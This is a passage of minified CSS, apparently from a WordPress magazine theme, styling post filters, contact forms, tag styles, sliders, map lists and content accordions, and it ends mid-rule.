.penci-mtp-filters-terms .count:after{content:')'}.penci-mtp-filters-wrapper .penci-pagination{margin-top:30px;margin-bottom:0}.penci-mtp-filters-wrapper .pcsl-inner .pcsl-iteminer{position:relative}.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt,.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt{position:absolute;top:0;right:0;margin:0;padding:0;font-size:14px;line-height:1.4;color:var(--pcheading-cl)}.penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-middle .grid-post-box-meta.pcmtf-mt-alt,.post-entry .penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-middle .grid-post-box-meta.pcmtf-mt-alt{top:50%;bottom:50%;transform:translateY(-50%)}.penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-bottom .grid-post-box-meta.pcmtf-mt-alt,.post-entry .penci-mtp-filters-wrapper .pcsl-inner.pcmtp-ct-bottom .grid-post-box-meta.pcmtf-mt-alt{top:auto;bottom:0}.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span,.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span{color:inherit}.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer{padding-right:120px}.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner.no-date .pcsl-iteminer{padding-right:0}.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .grid-post-box-meta.pcsl-meta:not(.pcmtf-mt-alt) .sl-date{display:none}.penci-mtp-filters-close,.penci-mtp-filters-mobile{display:none}.pencif-contact-form-wrapper{width:100%}.pencif-contact-form-wrapper .pencif-button-full-width{width:100%}.pencif-contact-form .elementor-field-type-submit .penci-button{width:auto}.pencif-contact-form .grecaptcha-badge{z-index:999}.pencif-field-group{margin-bottom:15px}.pencif-contact-form .pencif-field-group.pencif-margin-remove-bottom{line-height:1}.pencif-contact-form .pencif-field-group .pencif-checkbox{margin-right:3px}.pencif-contact-form .elementor-field-type-submit{margin-bottom:0!important}.pencif-register-additional-message{font-size:12px;color:#999}form.pencif-2col{display:flex;flex-wrap:wrap;flex-direction:row;justify-content:space-between;column-gap:30px}form.pencif-2col .pencif-col{flex:1 1 auto}form.pencif-name-inline{display:flex;flex-wrap:wrap;flex-direction:row;justify-content:space-between}form.pencif-name-inline .pencif-field-group{width:100%}form.pencif-name-inline .pencif-field-normal{width:49%}.pencif-field-group>label{display:block}.pencif-text-notice{padding-left:15px;margin-bottom:15px;line-height:40px;font-size:14px;text-align:center;font-weight:500;width:100%}.pencif-text-warning{background:red;color:#fff}.pencif-text-warning{background:#ff0;color:#fff}.pencif-text-success{background:#dcffb4;color:#595959}.pencif-contact-form.loading .pencif-button:before{content:"\f110";font-family:penciicon}.pencif-contact-form.loading .pencif-button{position:relative}.pencif-contact-form.loading .pencif-button:before{opacity:1;transition:opacity .2s ease;content:"";display:inline-block;border:1px solid #bbb;border-left-color:#fff;border-top-color:#fff;border-radius:50%;vertical-align:middle;position:absolute;top:50%;left:50%;margin-top:-12px;margin-left:-12px;width:24px;height:24px;z-index:9;animation:penci-menu-rotate .35s infinite linear}.pencif-contact-form.loading .pencif-button{color:transparent!important}.pencif-contact-form.loading input,.pencif-contact-form.loading textarea{pointer-events:none;opacity:.5}@media screen and (max-width:1169px){.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer{padding-right:0}.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt,.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt{display:none}.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .grid-post-box-meta.pcsl-meta:not(.pcmtf-mt-alt) .sl-date{display:inline-block}}@media only screen and (max-width:767px){.penci-mtp-filters-posts .theiaStickySidebar,.penci-mtp-filters-terms .theiaStickySidebar{position:static!important}.penci-mtp-filters-mobile.active{display:none}.penci-mtp-filters-main.active{display:block;margin-bottom:30px}.penci-mtp-filters-wrapper{flex-direction:column}.penci-mtp-filters-main{display:none}.penci-mtp-filters-wrapper .penci-mtp-filters-posts,.penci-mtp-filters-wrapper .penci-mtp-filters-terms{width:100%;border:0;padding:0}.penci-mtp-filters-close.active,.penci-mtp-filters-mobile{display:block;padding:10px 40px;border:1px solid var(--pcborder-cl);margin-bottom:30px;position:relative}.penci-mtp-filters-close.active:after,.penci-mtp-filters-mobile:after{content:"\f11c";position:absolute;right:20px;top:50%;transform:translateY(-50%);font-family:penciicon}.penci-mtp-filters-close.active{border-bottom:0;margin-bottom:0}.penci-mtp-filters-close.active:after{content:"\f110"}.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span,.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt span{font-size:12px}.list-post-3 .content-list-right,.penci-grid li.list-post-3 .item>.thumbnail{width:100%}.list-post-3 .content-list-right{margin:-20px 10px 0}.penci-post-share-box-btn{bottom:30px}form.pencif-2col .pencif-col{max-width:100%}form.pencif-2col .pencif-col .pencif-field-group{margin-bottom:15px}.pcrlt-style-5 .penci-related-grid-display .related-content::before{left:0;right:0}}.pcstyle-style-1 .container-single .post-entry .post-tags a{align-items:center;background-color:transparent;border:1px solid var(--pcborder-cl);border-radius:10px;color:var(--pcheading-cl);font-size:13px;justify-content:center;line-height:25px;padding:0 15px;position:relative;transition:.2s ease-in-out;z-index:2}.pcstyle-style-1 .container-single .post-entry .post-tags a:before{background-color:var(--pcaccent-cl);border-radius:100%;display:inline-block;height:9px;margin-right:5px;content:'';width:9px;vertical-align:middle}.pcstyle-style-2 .container-single .post-entry .post-tags a{border:0;padding-left:0;padding-right:0;font-weight:700;font-size:14px!important}.pcstyle-style-2 .container-single .post-entry .post-tags a:hover{background:0 0;color:var(--pcaccent-cl)}.pcstyle-style-2 .container-single .post-entry .post-tags a:before{margin-right:2px;content:'#';opacity:.5}.pcstyle-style-3 .container-single .post-entry .post-tags a{text-transform:none;border-radius:4px;border:0;background:#f1f1f1;font-size:14px!important;color:var(--pcheading-cl)}.pcstyle-style-3 .container-single .post-entry .post-tags a:hover{background:var(--pcaccent-cl);color:#fff}.pcstyle-style-4 .container-single .post-entry .post-tags a{text-transform:none;border-radius:3px;line-height:20px;padding:6px 15px 6px 12px;border:0;background:#f1f1f1;font-size:14px!important;color:var(--pcheading-cl);position:relative;overflow:hidden}.pcstyle-style-4 .container-single .post-entry .post-tags a:before{background:var(--pctext-cl);border-radius:10px;content:'';height:6px;left:10px;width:6px;display:inline-block;margin-right:5px;opacity:.5}.pcstyle-style-4 .container-single .post-entry .post-tags a:after{background:var(--pcbg-cl);border-bottom:16px solid transparent;border-left:10px solid #f1f1f1;border-top:17px solid transparent;content:'';position:absolute;right:0;top:0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}.pcstyle-style-4 .container-single .post-entry .post-tags a:hover{background:var(--pcaccent-cl);color:#fff}.pcstyle-style-4 .container-single .post-entry .post-tags a:hover:after{border-left-color:var(--pcaccent-cl)}.pcstyle-style-5 .container-single .post-entry .post-tags a{background-color:var(--pcaccent-cl);-webkit-border-radius:4px 3px 3px 4px;-moz-border-radius:4px 3px 3px 4px;border-radius:4px 3px 3px 4px;position:relative;color:#fff;zoom:1;line-height:22px;padding:0 8px 0 10px;margin:4px 4px 4px 8px;border:0}.pcstyle-style-5 .container-single .post-entry .post-tags a:before{content:"";position:absolute;left:-5px;top:1px;width:0;height:0;border-top:10px solid transparent;border-right:6px solid var(--pcaccent-cl);border-bottom:10px solid transparent}.post-tags.penci-post-sources{margin-top:5px}.penciwp-notice-form{position:fixed;z-index:999;top:0;bottom:0;right:0;left:0;display:flex;align-content:center;justify-content:center;align-items:center;flex-wrap:wrap;background:rgba(55,55,55,.8)}.penciwp-notice-form .penciwp-notice-form-inner{max-width:450px;position:relative;padding:30px;margin:30px;width:100%;text-align:center;background:#fff;display:flex;align-content:center;justify-content:center;align-items:center;flex-wrap:wrap;box-shadow:2px 2px 2px rgba(55,55,555,.2)}.pcwp-close-btn{display:block;width:30px;height:30px;position:absolute;background:var(--pcaccent-cl);top:-15px;right:-15px;color:#fff;line-height:30px;font-size:10px;border-radius:50%;transition:.3s all ease-in-out}.pcwp-close-btn:hover{opacity:.8}.pcwp-close-btn:before{content:"\f110";font-family:penciicon}.mc4wp-form.loading .msubmit{position:relative}.mc4wp-form.loading .msubmit:before{opacity:1;transition:opacity .2s ease;content:"";display:inline-block;border:1px solid #bbb;border-left-color:#fff;border-top-color:#fff;border-radius:50%;vertical-align:middle;position:absolute;top:50%;left:50%;margin-top:-12px;margin-left:-12px;width:24px;height:24px;z-index:9;animation:penci-menu-rotate .35s infinite linear}.mc4wp-form.loading .msubmit input{color:transparent!important}.penci-sg-cth:not(.show-full){position:relative}.penci-sg-cth:not(.show-full):after{content:'';background:var(--pcbg-cl);background:linear-gradient(0deg,var(--pcbg-cl) 0,transparent 100%);position:absolute;bottom:0;left:0;right:0;height:120px;z-index:1;display:block}.penci-sg-cth .penci-btn-more-content{position:absolute;bottom:0;left:0;right:0;text-align:center}.container-single .penci-sg-cth .penci-btn-more-content a,.post-entry .penci-sg-cth .penci-btn-more-content a{font-weight:var(--pchead-wei);font-family:var(--pchead-font);position:relative;z-index:3;color:var(--pcbg-cl);background:var(--pcaccent-cl);display:inline-block;padding:0 20px;line-height:35px}.container-single .penci-sg-cth .penci-btn-more-content a:hover,.post-entry .penci-sg-cth .penci-btn-more-content a:hover{opacity:.8;text-decoration:none}@-webkit-keyframes fadeInZoom{from{opacity:0;-webkit-transform:scale(1.3);transform:scale(1.3)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInZoom{from{opacity:0;-webkit-transform:scale(1.1);transform:scale(1.1);-webkit-filter:blur(5px);filter:blur(5px)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1);-webkit-filter:blur(0);filter:blur(0)}}.pclz-effs .penci-lazy,.pclz-effs .standard-post-image,.pclz-effs .thumbnail{overflow:hidden}.pclz-style-1 .penci-lazy.pcloaded,.pclz-style-1 .standard-post-image .pcloaded,.pclz-style-1 .thumbnail .pcloaded{opacity:1;animation:fadeIn .3s ease-in}.pclz-style-2 .penci-lazy.pcloaded,.pclz-style-2 .standard-post-image .pcloaded,.pclz-style-2 .thumbnail .pcloaded{opacity:1;animation:fadeInZoom .3s ease-in}.pclz-style-3 .penci-lazy,.pclz-style-3 .standard-post-image .penci-lazy,.pclz-style-3 .thumbnail .penci-lazy{-webkit-filter:blur(30px);filter:blur(30px);transition:filter .4s,-webkit-filter .4s}.pclz-style-3 .penci-lazy.pcloaded,.pclz-style-3 .standard-post-image .pcloaded,.pclz-style-3 .thumbnail .pcloaded{-webkit-filter:blur(0);filter:blur(0)}.pclz-effs .swiper-slide .penci-lazy{overflow:initial}.pclz-style-1 .swiper-slide .penci-lazy:not(.lazyloaded),.pclz-style-2 .swiper-slide .penci-lazy:not(.lazyloaded),.pclz-style-3 .swiper-slide .penci-lazy:not(.lazyloaded){animation:pencipreload .6s infinite linear forwards}.pclz-style-3 .swiper-slide .penci-lazy:not(.pcloaded){-webkit-filter:unset;filter:unset}.pclz-style-1 .swiper-slide .penci-lazy.pcloaded,.pclz-style-2 .swiper-slide .penci-lazy.pcloaded,.pclz-style-3 .swiper-slide .penci-lazy.pcloaded{animation:unset;-webkit-filter:unset;filter:unset}body.loading-posts #main .pcft-elers-wrapper,body.loading-posts #main .theiaStickySidebar .post,body.loading-posts #main .theiaStickySidebar section,body.loading-posts #main .theiaStickySidebar>div:not(.archive-box),body.loading-posts #main .theiaStickySidebar>ul{opacity:.7}body.home.loading-posts #main .penci-wrapper-data,body.loading-posts #main .archive-box,body.loading-posts #main .pcft-elers-wrapper{position:relative}body.loading-posts #main .penci-loader-effect,body.loading-posts .pcft-elers-wrapper .penci-loader-effect{display:block;top:200px;opacity:1!important;transform:translateX(-25px)}body.loading-posts #main .pcft-elers-wrapper .penci-loader-effect,body.loading-posts .pcft-elers-wrapper .penci-loader-effect{transform:unset}body.home.loading-posts #main .theiaStickySidebar>.penci-wrapper-posts-content{opacity:1}body.home.loading-posts #main .penci-wrapper-data>*{opacity:.7}.penci-advanced-map{height:100%;--mheight:360px;--search-height:80px}.penci-advanced-map .penci-grid-wrap{display:block}.penci-advanced-map .penci-advanced-map-wrapper{width:100%}.penci-advanced-map .penci-gmap-lists-wrapper{width:100%}.penci-advanced-map .penci-gmap-lists{margin:0;padding:0;list-style:none;height:300px;overflow:auto}.penci-gmap-lists-wrapper{background:var(--pcbg-cl)}.penci-gmap-lists-wrapper .penci-gmap-search-wrapper{margin-bottom:0;border-bottom:1px solid var(--pcborder-cl)}.penci-gmap-lists-wrapper .penci-gmap-search-wrapper .penci-search-default{padding:0 20px;display:flex;align-items:center;height:var(--search-height);width:100%}.penci-gmap-lists-wrapper .penci-gmap-search-wrapper .penci-search-default .search-box{width:100%}.penci-advanced-map .penci-gmap-list-item{display:flex;align-items:center;border-bottom:1px solid var(--pcborder-cl);padding:16px 20px;cursor:pointer}.penci-advanced-map .penci-gmap-list-item:nth-last-child(1){border-bottom:0}.penci-advanced-map .penci-gmap-list-item:nth-last-child(1){margin-bottom:0}.penci-advanced-map .scroll-content{display:flex;height:100%;flex-direction:column}.penci-advanced-map .penci-title{font-size:16px;color:var(--pcheading-cl);margin-bottom:10px}.penci-advanced-map .penci-phone,.penci-advanced-map .penci-place,.penci-advanced-map .penci-web{font-size:12px;line-height:1.6;color:var(--pcmeta-cl);display:block}.penci-advanced-map .penci-phone{margin-top:5px}.penci-advanced-map .form-control{height:40px;width:100%;text-transform:capitalize;padding:0 13px;border:1px solid var(--pcborder-cl);font-size:12px;outline:0;border-radius:5px}.penci-advanced-map .form-control:focus{border:1px solid #bdbbbb}.penci-advanced-map.penci-direction-left .penci-gmap-lists{overflow-y:auto;direction:rtl}.penci-advanced-map.penci-direction-left .penci-gmap-lists .penci-gmap-list-item{direction:ltr}.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar{width:5px}.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar-track{background:#f1f1f1}.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar-thumb{background:#c8c8c8}.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar-thumb:hover{background:#afaeae}.penci_admap_item{display:none}.penci_admap_item.active{display:block}.penci_admap_item iframe{height:100%;min-height:var(--mheight)}@media (min-width:768px){.penci-advanced-map{height:var(--mheight);margin-bottom:0}.penci-advanced-map.penci-direction-left .penci-grid-wrap{flex-direction:row-reverse}.penci-advanced-map .penci-grid-wrap{display:flex}.penci-advanced-map .penci-gmap-lists-wrapper{width:50%;max-width:350px;border:1px solid var(--pcborder-cl);height:calc(100% - 2px)}.penci-advanced-map.penci-has-lists-search-yes .penci-gmap-lists{height:calc(var(--mheight) - var(--search-height))}.penci-advanced-map .penci-gmap-lists{height:var(--mheight)}}.widget ul.side-newsfeed.order-numbers-2.display-order-numbers .order-border-number{display:none}.widget ul.side-newsfeed.order-numbers-2.display-order-numbers{counter-reset:section}.widget ul.side-newsfeed.order-numbers-2.display-order-numbers li .side-item-text{position:relative}.widget ul.side-newsfeed.order-numbers-2.display-order-numbers li .side-item-text:before{counter-increment:section;content:"#" counter(section);font-size:16px;line-height:1;font-family:var(--pchead-font);font-weight:var(--pchead-wei);color:var(--pcheading-cl);opacity:.4;margin-bottom:5px;display:block}.widget ul.side-newsfeed{--oboxsize:30px}.widget ul.side-newsfeed.order-numbers-3 li .order-border-number{position:absolute;background:var(--pcbg-cl);box-shadow:none;width:var(--oboxsize);height:var(--oboxsize);line-height:unset;border-radius:unset;left:0;top:15px}.widget ul.side-newsfeed.order-numbers-3 li{padding-left:15px}.widget ul.side-newsfeed.order-numbers-3 li .number-post{background-color:transparent;border-radius:unset;width:inherit;height:inherit;line-height:calc(var(--oboxsize) - 2px);text-align:center;display:inline-block;vertical-align:top;color:var(--pcaccent-cl);font-size:17px;font-family:var(--pchead-font);font-weight:600;z-index:3;border:2px solid var(--pcaccent-cl)}.widget ul.side-newsfeed.order-numbers-4 li .order-border-number{display:none}.widget ul.side-newsfeed.order-numbers-4.display-order-numbers{counter-reset:section}.widget ul.side-newsfeed.order-numbers-4.display-order-numbers li .side-image{position:relative}.widget ul.side-newsfeed.order-numbers-4.display-order-numbers li .side-image:before{counter-increment:section;content:counter(section);position:absolute;left:0;right:auto;z-index:2;display:flex;justify-content:center;align-items:center;font-size:22px;font-family:var(--pchead-font);color:#fff;font-weight:var(--pchead-wei);width:var(--oboxsize);height:var(--oboxsize);background:var(--pcaccent-cl);opacity:.9;border:2px solid var(--pcbg-cl);bottom:0}.penci-slider41-wrapper{display:flex;flex-direction:row;flex-wrap:wrap;column-gap:30px}.penci-slider41-main-wrapper{width:calc(70% - 15px)}.penci-slider41-thumb-wrapper{width:calc(30% - 15px)}.penci-slider41-thumb{height:100%!important;border-bottom:1px solid var(--pcborder-cl)}.penci-slider41-t-item{display:flex;justify-content:space-between;column-gap:15px;height:100%;align-items:center;border-top:1px solid var(--pcborder-cl);cursor:pointer}.penci-slider41-t-item .pcslider-41-img{flex:0 0 120px}.penci-slider41-t-item .pcslider-41-ct{flex:1}.penci-slider41-t-item .pcslider-41-ct h3{font-size:16px;margin-bottom:0}.penci-slider41-main-wrapper .penci-featured-content{left:0;right:auto;bottom:0;top:auto;transform:none;padding:30px}.penci-slider41-main-wrapper .penci-featured-content .feat-text{text-align:left;margin:0;max-width:unset;padding:0}.swiper-slide-thumb-active .penci-slider41-t-item h3{color:var(--pcaccent-cl)}.penci-slider41-main-wrapper .penci-featured-content{background:#373737;background:linear-gradient(0deg,rgba(55,55,55,1) 0,rgba(255,255,255,0) 100%)}@media only screen and (max-width:960px){.penci-slider41-wrapper{flex-direction:column-reverse;row-gap:10px}.penci-slider41-main-wrapper,.penci-slider41-thumb-wrapper{width:100%}.penci-slider41-thumb-wrapper{border-bottom:0}.penci-slider41-t-item{flex-direction:column;row-gap:10px;border-top:0;opacity:.7}.penci-slider41-t-item .pcslider-41-ct,.penci-slider41-t-item .pcslider-41-img{width:100%}.penci-slider41-t-item .pcslider-41-ct{display:none}.swiper-slide-thumb-active .penci-slider41-t-item{opacity:1}.penci-slider41-main-wrapper .penci-featured-content{padding:20px}}.penci-slider42-wrapper{position:relative}.penci-slider42-wrapper .penci-slider42-thumb-wrapper{position:absolute;bottom:0;left:30px;right:30px;z-index:9}.penci-slider42-t-item{max-width:100%;height:100%}.pcslider-42-ct{padding:20px;background:rgba(55,55,55,.8);height:100%;display:flex;align-items:center;cursor:pointer}.pcslider-42-ct h3{color:#fff;font-size:14px;margin-bottom:0}.swiper-slide-thumb-active .pcslider-42-ct{background:#fff}.pcslider-42-ct h3{overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;line-clamp:2;-webkit-box-orient:vertical}.swiper-slide-thumb-active .pcslider-42-ct h3{color:var(--pcheading-cl)}.penci-slider42-thumb-wrapper .swiper-slide{height:auto;align-self:stretch}.featured-area.featured-style-42 .penci-featured-content .feat-text{text-align:left}.featured-area.featured-style-42 .penci-featured-content{bottom:auto;top:50%;max-width:50%;transform:translateY(calc(-50% - 34px))}.featured-area.featured-style-42 .item-inner-content{position:relative;overflow:hidden}.featured-style-42 .penci-owl-carousel .item-inner-content .penci-image-holder::before{padding-top:45%}.featured-area.featured-style-42 .item-inner-content:after{position:absolute;background:#181818;background:linear-gradient(0deg,rgba(24,24,24,1) 0,rgba(255,255,255,0) 100%);top:0;left:0;bottom:0;right:0;content:''}.featured-area.featured-style-42 .penci-featured-content .feat-text{padding:0;margin:0}.featured-area.featured-style-42 .penci-featured-content .featured-slider-excerpt:before{width:60px;height:2px;content:'';background:var(--pcaccent-cl);display:block;margin-top:15px;margin-bottom:15px}@media only screen and (min-width:768px) and (max-width:960px){.featured-area.featured-style-42 .penci-featured-content{max-width:100%}.featured-area.featured-style-42 .penci-featured-content .feat-text .featured-slider-excerpt{display:none}}@media only screen and (max-width:767px){.featured-area.featured-style-42 .penci-featured-content{max-width:100%}.featured-area.featured-style-42 .penci-featured-content .feat-text{text-align:center}.penci-slider42-wrapper .penci-slider42-thumb-wrapper{left:10px;right:10px}.pcslider-42-ct h3{overflow:hidden;display:-webkit-box;-webkit-line-clamp:1;line-clamp:1;-webkit-box-orient:vertical}.pcslider-42-ct{padding:10px 15px}.featured-area.featured-style-42 .penci-featured-content{transform:translateY(calc(-50% - 20px))}}.featured-area.featured-style-43 .penci-image-holder:before{padding-top:430px;transition:.3s all ease-in-out}.featured-area.featured-style-43 .swiper-slide-fully-visible.active .wrapper-item{padding-left:30px;padding-right:30px}.featured-area.featured-style-43 .penci-mag-featured-content{margin:30px 0 0;opacity:0;background:var(--pcbg-cl);padding:30px 0 0;position:relative;transition:.3s all ease-in-out;text-align:center;position:absolute;top:auto;bottom:-60px;left:0;right:0}.featured-area.featured-style-43 .penci-mag-featured-content .cat>a.penci-cat-name{color:var(--pcaccent-cl)}.featured-area.featured-style-43 .swiper-slide-fully-visible.active .penci-image-holder:before{padding-top:400px}.featured-area.featured-style-43 .swiper-slide-fully-visible.active .penci-mag-featured-content{opacity:1;bottom:0}.featured-area.featured-style-43 .penci-mag-featured-content h3 a{color:var(--pcheading-cl);font-size:22px;line-height:1.3;text-transform:none}.featured-area.featured-style-43 .penci-mag-featured-content .feat-meta a,.featured-area.featured-style-43 .penci-mag-featured-content .feat-meta span{color:var(--pcmeta-cl)}@media only screen and (max-width:767px){.featured-area.featured-style-43 .penci-mag-featured-content h3 a{font-size:16px}.featured-area.featured-style-43 .swiper-slide-fully-visible.active .penci-mag-featured-content{position:static;margin-top:0}}.penci-slider44-wrapper{position:relative}.penci-slider44-main-wrapper .item-inner-content{height:520px}.penci-block-el .penci-slider44-main-wrapper .item-inner-content,.penci-owl-carousel.penci-slider44-main .penci-image-holder{height:100%}.penci-slider44-main-wrapper .item{overflow:hidden}.penci-slider44-thumb-wrapper{position:absolute;top:30px;right:30px;bottom:30px;width:340px;z-index:99}.penci-slider44-thumb{height:100%!important}.penci-slider44-t-item{display:flex;justify-content:space-between;column-gap:15px;align-items:center;cursor:pointer;padding:10px;position:relative}.penci-slider44-t-item:before{content:'';top:0;left:0;right:0;bottom:0;display:block;position:absolute;z-index:1;background:#000;opacity:.6}.swiper-slide-thumb-active .penci-slider44-t-item:before{background:var(--pcaccent-cl);opacity:.85}.penci-slider44-t-item>div{z-index:2}.penci-slider44-t-item h3{color:#fff;font-size:16px;margin-bottom:0}.penci-slider44-t-item .pcslider-44-img{flex:0 0 120px}.penci-slider44-t-item .pcslider-44-ct{flex:1}.penci-slider44-main-wrapper .penci-featured-content{left:0;right:auto;bottom:0;top:auto;transform:none}.penci-slider44-main-wrapper .penci-featured-content .feat-text{text-align:left;margin:0;max-width:unset}.penci-slider44-main-wrapper .penci-featured-content{background:#373737;background:linear-gradient(0deg,rgba(55,55,55,1) 0,rgba(255,255,255,0) 100%);padding:30px}.penci-slider44-main-wrapper .penci-featured-content .feat-text{max-width:calc(100% - 370px);padding:0}.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next,.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-prev{border-radius:0;top:30px;left:30px;margin:0}.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next{left:70px}@media only screen and (max-width:960px){.penci-slider44-wrapper{display:flex;flex-direction:column-reverse}.penci-slider44-wrapper .penci-featured-slider-button{display:none}.penci-slider44-thumb-wrapper{position:static}.penci-slider44-main-wrapper .item-inner-content{height:auto}.penci-slider44-main-wrapper .penci-featured-content{padding:20px}.penci-slider44-main-wrapper .penci-featured-content .feat-text{max-width:100%}.penci-slider44-thumb-wrapper{width:100%;margin-top:10px}.penci-slider44-t-item .pcslider-44-img{flex:0 0 50px}.penci-slider44-t-item h3{font-size:12px;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;line-clamp:2;-webkit-box-orient:vertical}.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next,.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-prev{opacity:.6;top:20px;left:20px}.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next{left:60px}.penci-slider44-wrapper .penci-owl-carousel-slider[data-direction=vertical]:not(.penci-owl-loaded) .swiper-slide{margin-bottom:0}.penci-slider44-thumb:not(.penci-owl-loaded) .swiper-slide{width:50%;max-width:calc(50% - 7.5px)}}.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper>div .penci-slider41-t-item{padding-top:22px}.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper>div{margin-bottom:26px}.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner{display:flex!important}.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner>div>div{margin-right:15px}.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner{width:calc(100% + 15px)}@media only screen and (max-width:767px){.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner>div{width:50%}.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper>div{width:calc(100%/3)!important}.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper>div .penci-slider41-t-item{padding-top:0}}.penci-ct-accordion{display:flex;height:360px;overflow:hidden}.penci-ct-accordion-item{position:relative;overflow:hidden;flex:1;transition:flex .3s}.pcct-ac--default .penci-ct-accordion-item,.pcct-ac--vertical .penci-ct-accordion-item{text-align:center;text-decoration:none;background-size:cover;background-position:center;background-repeat:no-repeat}.pcct-ac--default .penci-ct-accordion-content:before,.pcct-ac--vertical .penci-ct-accordion-content:before{content:'';position:absolute;height:100%;width:100%;background:rgba(0,0,0,.44);left:0;top:0;transition:opacity .3s ease-in-out;z-index:0;opacity:0}.pcct-ac--default .penci-ct-accordion-item:after,.pcct-ac--vertical .penci-ct-accordion-item:after{content:'';position:absolute;height:100%;width:5px;background:var(--pcbg-cl);right:-2.5px;top:0;z-index:1}.pcct-ac--default .penci-ct-accordion-item:nth-last-child(1):after,.pcct-ac--vertical .penci-ct-accordion-item:nth-last-child(1):after{opacity:0}.penci-ct-accordion-item.active{flex:10}.penci-ct-accordion-item.active .penci-ct-accordion-content:before{opacity:1}.penci-ct-accordion-item.active .penci-ct-accordion-content *{opacity:1;visibility:visible;transform:translateY(0);transition:all .3s ease}.penci-ct-accordion-item.active .penci-ct-accordion-sub-title{transition-delay:.2s}.penci-ct-accordion-item.active .penci-ct-accordion-title{transition-delay:.3s}.penci-ct-accordion-item.active .penci-ct-accordion-text{transition-delay:.4s}.penci-ct-accordion-item.active .grid-post-box-meta{transition-delay:.4s}.penci-ct-accordion-item.active .penci-ct-accordion-button{transition-delay:.4s}.penci-ct-accordion-item.active .penci-ct-accordion-lightbox{opacity:1;transition-delay:.4s;visibility:visible}.penci-ct-accordion-item.active .penci-ct-accordion-img:before{opacity:1}.penci-ct-accordion-content{position:absolute;padding:10px;top:50%;left:50%;transform:translate(-50%,-50%);width:100%;display:flex;flex-direction:column;justify-content:center;height:100%}.penci-ct-accordion-content *{opacity:0;visibility:hidden;transform:translateY(8px)}.penci-ct-accordion-sub-title{color:var(--pcbg-cl);margin-bottom:3px;font-weight:500}.penci-ct-accordion-sub-title a,.post-entry .penci-ct-accordion-sub-title a{color:inherit;text-decoration:none}.penci-ct-accordion-title,.post-entry .penci-ct-accordion-title{font-size:20px;font-weight:700;color:var(--pcbg-cl);margin:0}.penci-ct-accordion-title a,.post-entry .penci-ct-accordion-title a{color:inherit;text-decoration:none}.penci-ct-accordion-text,.post-entry .penci-ct-accordion-text{color:var(--pcbg-cl);line-height:1.5em;font-size:15px;margin-top:12px;padding:0}.penci-ct-accordion-item .grid-post-box-meta{margin:10px 0 0}.penci-ct-accordion-text p{margin:0}.penci-ct-accordion-button{display:block;position:relative;margin-top:18px}.penci-ct-accordion-button a,.post-entry .penci-ct-accordion-button a{display:inline-block;font-size:13px;font-weight:var(--pchead-wei);font-family:var(--pchead-font);color:var(--pcbg-cl);padding:5px 15px;background:var(--pcaccent-cl)}.penci-ct-accordion-button a:hover,.post-entry .penci-ct-accordion-button a:hover{background:var(--pcbg-cl);color:var(--pcheading-cl)}.penci-ct-accordion-lightbox{position:absolute;z-index:10;display:inline-flex;padding:10px;color:var(--pcbg-cl);border:1px solid var(--pcbg-cl);border-radius:100px;opacity:0;margin:10px;transition:all .3s ease;visibility:hidden}.penci-ct-accordion-lightbox i{transition:transform .3s ease}.penci-ct-accordion-lightbox:hover{color:var(--pcbg-cl)}.penci-ct-accordion-lightbox:hover i{transform:scale(1.25)}.penci-ct-meta{margin-bottom:20px}.penci-ct-meta span,.penci-ct-meta span a{color:var(--pcbg-cl)}.pcct-img-position--row-reverse .penci-ct-accordion-item.active .penci-ct-accordion-content{margin-right:50%;margin-left:auto}.elementor-widget-penci-content-accordion .elementor-widget-container{overflow:hidden}@media only screen and (min-width:768px){.penci-ct-accordion{height:400px}.penci-ct-accordion-item.active{flex:6}.penci-ct-accordion-title{font-size:28px}.penci-ct-accordion-text{font-size:16px}.penci-ct-accordion-button a{font-size:14px}}@media only screen and (min-width:961px){.penci-ct-accordion{height:500px}.pcct-ac--vertical .penci-ct-accordion-item:after{width:100%!important;left:0;right:auto!important;top:auto;height:var(--divider-width,5px);bottom:calc(var(--divider-bottom,-5px)/ 2)}}@media only screen and (min-width:768px) and 